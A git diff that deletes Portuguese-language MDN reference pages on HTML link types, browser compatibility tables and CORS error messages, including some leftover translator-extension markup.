- <td>Indicates that the linked file is a <a href="https://developer.mozilla.org/en-US/docs/Web/Manifest">Web App Manifest</a>.</td>
- <td>{{HTMLElement("link")}}</td>
- <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
- </tr>
- <tr>
- <td><code>next</code></td>
- <td>Indicates that the hyperlink leads to the <em>next</em> resource of the <em>sequence</em> the current page is in.<br>
- <br>
- <strong>Note:</strong> Other link types related to linking resources in the same sequence are <code>first</code>, <code>prev</code>, <code>last</code>.</td>
- <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
- <td><em>None.</em></td>
- </tr>
- <tr>
- <td><code>nofollow</code></td>
- <td>Indicates that the linked document is not endorsed by the author of this one, for example if it has no control over it, if it is a bad example or if there is commercial relationship between the two (sold link). This link type may be used by some search engines that use popularity ranking techniques.</td>
- <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
- <td>{{HTMLElement("link")}}</td>
- </tr>
- <tr>
- <td><code>noopener</code></td>
- <td>
- <p>Instructs the browser to open the link without granting the new browsing context access to the document that opened it — by not setting the {{domxref("Window.opener")}} property on the opened window (it returns <code>null</code>).<br>
- <br>
- This is especially useful when opening untrusted links, in order to ensure they cannot tamper with the originating document via the {{domxref("Window.opener")}} property (see <a href="https://mathiasbynens.github.io/rel-noopener/">About rel=noopener</a> for more details), while still providing the <code>Referer</code> HTTP header (unless <code>noreferrer</code> is used as well).</p>
-
- <p>Note that when <code>noopener</code> is used, nonempty target names other than <code>_top</code>, <code>_self</code>, and <code>_parent</code> are all treated like <code>_blank</code> in terms of deciding whether to open a new window/tab.</p>
- </td>
- <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
- <td>{{HTMLElement("link")}}</td>
- </tr>
- <tr>
- <td><code>noreferrer</code></td>
- <td>
- <p>Prevents the browser, when navigating to another page, to send this page address, or any other value, as referrer via the <code>Referer:</code> HTTP header.<br>
- (In Firefox, before Firefox 37, this worked only in links found in pages. Links clicked in the UI, like "Open in a new tab" via the contextual menu, ignored this).</p>
- </td>
- <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
- <td>{{HTMLElement("link")}}</td>
- </tr>
- <tr>
- <td><code>pingback</code></td>
- <td>Defines an external resource URI to call if one wishes to make a comment or a citation about the webpage. The protocol used to make such a call is defined in the <a href="http://www.hixie.ch/specs/pingback/pingback">Pingback 1.0</a> specification.<br>
- <br>
- <strong>Note:</strong> if the <code>X-Pingback:</code> HTTP header is also present, it supersedes the {{HTMLElement("link")}} element with this link type.</td>
- <td>{{HTMLElement("link")}}</td>
- <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
- </tr>
- <tr>
- <td><code>preconnect</code> {{experimental_inline}}</td>
- <td>Provides a hint to the browser suggesting that it open a connection to the linked web site in advance, without disclosing any private information or downloading any content, so that when the link is followed the linked content can be fetched more quickly.</td>
- <td>{{HTMLElement("link")}}</td>
- <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
- </tr>
- <tr>
- <td><code>prefetch</code></td>
- <td>Suggests that the browser fetch the linked resource in advance, as it is likely to be requested by the user. Starting with Firefox 44, the value of the {{htmlattrxref("crossorigin", "link")}} attribute is taken into consideration, making it possible to make anonymous prefetches.<br>
- <br>
- <strong>Note:</strong> The <a href="/en-US/docs/Link_prefetching_FAQ">Link Prefetch FAQ</a> has details on which links can be prefetched and on alternative methods.</td>
- <td>{{HTMLElement("a")}} {{unimplemented_inline}},<br>
- {{HTMLElement("area")}} {{unimplemented_inline}},<br>
- {{HTMLElement("link")}}</td>
- <td><em>None.</em></td>
- </tr>
- <tr>
- <td><code>preload</code></td>
- <td>Tells the browser to download a resource because this resource will be needed later during the current navigation. See <a href="/en-US/docs/Web/HTML/Preloading_content">Preloading content with rel="preload"</a> for more details.</td>
- <td>{{HTMLElement("link")}}</td>
- <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
- </tr>
- <tr>
- <td><code>prerender</code> {{experimental_inline}}</td>
- <td>Suggests that the browser fetch the linked resource in advance, and that it also render the prefetched content offscreen so it can be quickly presented to the user once needed.</td>
- <td>{{HTMLElement("link")}}</td>
- <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
- </tr>
- <tr>
- <td><code>prev</code></td>
- <td>Indicates that the hyperlink leads to the <em>preceding</em> resource of the <em>sequence</em> the current page is in.<br>
- <br>
- <strong>Note:</strong> You can also use the <code>next</code> keyword to specify a link to the next page in the sequence.<br>
- <br>
- Although recognized, the synonym <code>previous</code> is incorrect and must be avoided.</td>
- <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
- <td><em>None.</em></td>
- </tr>
- <tr>
- <td><code>search</code></td>
- <td>Indicates that the hyperlink references a document whose interface is specially designed for searching in this document, or site, and its resources.<br>
- <br>
- If the {{htmlattrxref("type","link")}} attribute is set to <code>application/opensearchdescription+xml </code>the resource is an <a href="/en-US/docs/Creating_OpenSearch_plugins_for_Firefox">OpenSearch plugin</a> that can be easily added to the interface of some browsers like Firefox or Internet Explorer.</td>
- <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
- <td><em>None.</em></td>
- </tr>
- <tr>
- <td><code>shortlink</code></td>
- <td>From Wikipedia, the free encyclopedia: <a href="https://en.wikipedia.org/wiki/URL_shortening">URL shortening</a><br>
- Some websites create short links to make sharing links via instant messaging easier.</td>
- <td>{{HTMLElement("link")}}</td>
- <td>???</td>
- </tr>
- <tr>
- <td><code>stylesheet</code></td>
- <td>Defines an external resource to be used as a stylesheet. If the <code>type</code> is not set, the browser should assume it is a <code>text/css</code> stylesheet until further inspection.<br>
- <br>
- If used in combination with the <code>alternate</code> keyword, it defines an <a href="/en-US/docs/Alternative_style_sheets">alternative style sheet</a>; in that case the {{htmlattrxref("title", "link")}} attribute must be present and not be the empty string.</td>
- <td>{{HTMLElement("link")}}</td>
- <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
- </tr>
- <tr>
- <td><code>sidebar</code> {{non-standard_inline}}</td>
- <td>Indicates that the hyperlink leads to a resource that would be better suited for a secondary browsing context, like a <em>sidebar</em>. Browsers, that don't have such a context will ignore this keyword.<br>
- <br>
- While once part of the HTML specification, this has been removed from the spec and is only implemented by Firefox at this time.</td>
- <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
- <td><em>None.</em></td>
- </tr>
- <tr>
- <td><code>tag</code></td>
- <td>Indicates that the hyperlink refers to a document describing a <em>tag</em> that applies to this document.<br>
- <br>
- <strong>Note:</strong> This link type should not be set on links to a member of a tag cloud as these do not apply to a single document but to a set of pages.</td>
- <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
- <td>{{HTMLElement("link")}}</td>
- </tr>
- <tr>
- <td><code>up</code> {{obsolete_inline}}</td>
- <td>Indicates that the page is part of a <em>hierarchical</em> structure and that the hyperlink leads to the higher level resource of that structure.<br>
- <br>
- The number of <code>up</code> link types indicates the depth difference between the current page and the linked resource.</td>
- <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
- <td><em>None.</em></td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Specifications" name="Specifications">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('Preload','#x2.link-type-preload','preload')}}</td>
- <td>{{Spec2('Preload')}}</td>
- <td>Added <code>preload</code>.</td>
- </tr>
- <tr>
- <td>{{SpecName('Resource Hints', '#dfn-preconnect', 'preconnect')}}</td>
- <td>{{Spec2('Resource Hints')}}</td>
- <td>Added <code>dns-prefetch</code>, <code>preconnect</code>, and <code>prerender</code> values.</td>
- </tr>
- <tr>
- <td>{{SpecName('HTML WHATWG', 'semantics.html#the-link-element', '&lt;link&gt;')}}</td>
- <td>{{Spec2('HTML WHATWG')}}</td>
- <td>No change since last snapshot ({{SpecName('HTML WHATWG')}})</td>
- </tr>
- <tr>
- <td>{{SpecName('HTML5 W3C', 'document-metadata.html#the-link-element', '&lt;link&gt;')}}</td>
- <td>{{Spec2('HTML5 W3C')}}</td>
- <td>Added <code>tag</code>, <code>stylesheet</code>, <code>search</code>, <code>prev</code>, <code>prefetch</code>, <code>noreferrer</code>, <code>nofollow</code>, <code>next</code>, <code>license</code>, <code>icon</code>, <code>help</code>, <code>bookmark</code>, <code>author</code>, and <code>alternate</code>.</td>
- </tr>
- <tr>
- <td>{{SpecName('HTML4.01', 'struct/links.html#h-12.3', '&lt;link&gt;')}}</td>
- <td>{{Spec2('HTML4.01')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<div>{{CompatibilityTable}}</div>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoDesktop("1.0")}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td>Alternative stylesheets</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("1.9")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>prefetch</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>prerender</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatNo}}<sup>[4]</sup></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>preconnect</code></td>
- <td>{{CompatChrome(46)}}</td>
- <td>{{CompatGeckoDesktop("39")}}<sup>[1]</sup></td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td><code>dns-prefetch</code></td>
- <td>{{CompatChrome(46)}}</td>
- <td>{{CompatGeckoDesktop("1.9")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>preload</code></td>
- <td>{{CompatChrome(50.0)}}</td>
- <td>{{CompatNo}}<sup>[3]</sup></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td><code>noopener</code></td>
- <td>{{CompatChrome(49.0)}}</td>
- <td>{{CompatGeckoDesktop("52")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatOpera(36)}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>manifest</code></td>
- <td>{{CompatNo}}<sup>[2]</sup></td>
- <td> </td>
- <td> </td>
- <td> </td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Android</th>
- <th>Android Webview</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- <th>Chrome for Android</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoMobile("1.0")}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td>Alternative stylesheets</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoMobile("2.0")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>prefetch</code></td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>prerender</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatNo}}<sup>[4]</sup></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>preconnect</code></td>
- <td>{{CompatChrome(46)}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoMobile("39")}} </td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatChrome(42.0)}}<sup>[1]</sup></td>
- </tr>
- <tr>
- <td><code>dns-prefetch</code></td>
- <td>{{CompatChrome(46)}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoMobile("1.9")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td><code>preload</code></td>
- <td>{{CompatNo}}</td>
- <td>{{CompatChrome(50.0)}}</td>
- <td>{{CompatNo}}<sup>[3]</sup></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatChrome(50.0)}}</td>
- </tr>
- <tr>
- <td><code>noopener</code></td>
- <td>{{CompatNo}}</td>
- <td>{{CompatChrome(49.0)}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>32</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatChrome(49.0)}}</td>
- </tr>
- <tr>
- <td><code>manifest</code></td>
- <td>{{CompatNo}}</td>
- <td>{{CompatChrome(39.0)}}</td>
- <td> </td>
- <td> </td>
- <td> </td>
- <td> </td>
- <td>{{CompatChrome(39.0)}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<p>[1] Before Firefox 41, it didn't obey the {{htmlattrxref("crossorigin", 'link')}} attribute.</p>
-
-<p>[2] Since this is a mobile feature, desktop ignores it rather than throwing an error.</p>
-
-<p>[3] This feature was available in Firefox 56, but only for cacheable resources. It has been disabled in Firefox 57 because of various web compatibility issues (e.g. {{bug(1405761)}}). An improved version that works for non-cacheable resources is expected to land in Firefox 59.</p>
-
-<p>[4] This was implemented behind a pref in Gecko 53 — <code>dom.linkPrerender.enabled</code>.— but then removed because of lack of uptake and removal in Chromium. See {{bug(1383876)}}.</p>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 0; display: block; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody><tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
-</tbody></table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody><tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
-</tbody></table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/web/html/reference/index.html b/files/pt-pt/web/html/reference/index.html
deleted file mode 100644
index 4c7d3ed2af..0000000000
--- a/files/pt-pt/web/html/reference/index.html
+++ /dev/null
@@ -1,28 +0,0 @@
----
-title: Referência HTML
-slug: Web/HTML/Reference
-tags:
- - HTML
- - Landing
- - Referencia
- - Web
-translation_of: Web/HTML/Reference
-original_slug: Web/HTML/Referencia
----
-<div>{{HTMLSidebar}}</div>
-
-<p>Esta referência <a href="/en-US/docs/Web/HTML">HTML</a> descreve <strong>todos os elementos</strong> e<strong> atributos</strong> de HTML, incluindo os <strong>atributos globais</strong> que se aplicam a todos os elementos.</p>
-
-<dl>
- <dd></dd>
- <dt><a href="/pt-PT/docs/Web/HTML/Elemento">Referência de elementos HTML</a></dt>
- <dd>Esta página lista todos os HTML elementos.</dd>
- <dt><a href="/pt-PT/docs/Web/HTML/Atributos">Referência de atibuto HTML</a></dt>
- <dd></dd>
- <dt><a href="/pt-PT/docs/Web/HTML/Atributos_globais">Atributos globais</a></dt>
- <dd></dd>
- <dt><a href="/pt-PT/docs/Web/HTML/Tipos_de_hiperligacao">Tipos de hiperligação</a></dt>
- <dd>Em HTML, os seguintes tipos de hiperligação indicam a relação entre dois documentos, em que uma se interliga com a outra, utilizando um elemento &lt;a&gt;, &lt;area&gt;, ou &lt;link&gt;.</dd>
-</dl>
-
-<p><span class="alllinks"><a href="/pt-PT/docs/tag/HTML" title="Article tagged: HTML">Ver todas as páginas "HTML" etiquetadas...</a></span></p>
diff --git a/files/pt-pt/web/http/cors/errors/corsdidnotsucceed/index.html b/files/pt-pt/web/http/cors/errors/corsdidnotsucceed/index.html
deleted file mode 100644
index b6b8001ab1..0000000000
--- a/files/pt-pt/web/http/cors/errors/corsdidnotsucceed/index.html
+++ /dev/null
@@ -1,22 +0,0 @@
----
-title: 'Reason: CORS request did not succeed'
-slug: Web/HTTP/CORS/Errors/CORSDidNotSucceed
-translation_of: Web/HTTP/CORS/Errors/CORSDidNotSucceed
----
-<div>{{HTTPSidebar}}</div>
-
-<h2 id="Motivo">Motivo</h2>
-
-<pre class="syntaxbox">Motivo: O pedido CORS não foi concluído com sucesso</pre>
-
-<h2 id="O_que_correu_mal">O que correu mal?</h2>
-
-<p>O {{Glossary("HTTP")}} pedido que faz uso do CORS falhou porque a conexão HTTP falhou a nivel da rede ou do protocolo de conexão. O error não está directamente relacionado com CORS, mas é algum tipo de erro da rede.</p>
-
-<h2 id="Veja_também">Veja também</h2>
-
-<ul>
- <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">Erros CORS</a></li>
- <li>Glossário: {{Glossary("CORS")}}</li>
- <li><a href="/en-US/docs/Web/HTTP/CORS">Introdução ao CORS</a></li>
-</ul>
diff --git a/files/pt-pt/web/http/cors/errors/index.html b/files/pt-pt/web/http/cors/errors/index.html
deleted file mode 100644
index d1dd12dc75..0000000000
--- a/files/pt-pt/web/http/cors/errors/index.html
+++ /dev/null
@@ -1,76 +0,0 @@
----
-title: CORS errors
-slug: Web/HTTP/CORS/Errors
-tags:
- - CORS
- - Errors
- - HTTP
- - HTTPS
- - Messages
- - NeedsTranslation
- - Same-origin
- - Security
- - TopicStub
- - console
- - troubleshooting
-translation_of: Web/HTTP/CORS/Errors
----
-<div>{{HTTPSidebar}}</div>
-
-<p><span class="seoSummary"><a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing</a> ({{Glossary("CORS")}}) is a standard that allows a server to relax the <a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a>. This is used to explicitly allow some cross-origin requests while rejecting others.</span> For example, if a site offers an embeddable service, it may be necessary to relax certain restrictions. Setting up such a CORS configuration isn't necessarily easy and may present some challenges. In these pages, we'll look into some common CORS error messages and how to resolve them.</p>
-
-<p>If the CORS configuration isn't setup correctly, the browser console will present an error like <code>"Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite"</code> indicating that the request was blocked due to violating the CORS security rules. This might not necessarily be a set-up mistake, though. It's possible that the request is in fact intentionally being disallowed by the user's web application and remote external service. However, If the endpoint is meant to be available, some debugging is needed to succeed.</p>
-
-<h2 id="Identifying_the_issue">Identifying the issue</h2>
-
-<p>To understand the underlying issue with the CORS configuration, you need to find out which request is at fault and why. These steps may help you do so:</p>
-
-<ol>
- <li>Navigate to the web site or web app in question and open the <a href="/en-US/docs/Tools">Developer Tools</a>.</li>
- <li>Now try to reproduce the failing transaction and check the <a href="/en-US/docs/Tools/Web_Console">console</a> if you are seeing a CORS violation error message. It will probably look like this:</li>
-</ol>
-
-<p><img alt="Firefox console showing CORS error" src="https://mdn.mozillademos.org/files/16050/cors-error2.png"></p>
-
-<p>The text of the error message will be something similar to the following:</p>
-
-<pre>Cross<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">-Origin Request Blocked: The Same Origin Policy disallows
-reading the remote resource at <em>https://some-url-here</em>. (<em>Reason:
-additional information here</em>).</span></span></span></pre>
-
-<div class="note">
-<p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><strong>Note:</strong> For security reasons, specifics about what went wrong with a CORS request <em>are not available to JavaScript code</em>. All the code knows is that an error occurred. The only way to determine what specifically went wrong is to look at the browser's console for details.</span></span></span></p>
-</div>
-
-<h2 id="CORS_error_messages">CORS error messages</h2>
-
-<p>Firefox's console displays messages in its console when requests fail due to CORS. Part of the error text is a "reason" message that provides added insight into what went wrong.  The reason messages are listed below; click the message to open an article explaining the error in more detail and offering possible solutions.</p>
-
-<ul>
- <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDisabled">Reason: CORS disabled</a></li>
- <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDidNotSucceed">Reason: CORS request did not succeed</a></li>
- <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSOriginHeaderNotAdded">Reason: CORS header ‘Origin’ cannot be added</a></li>
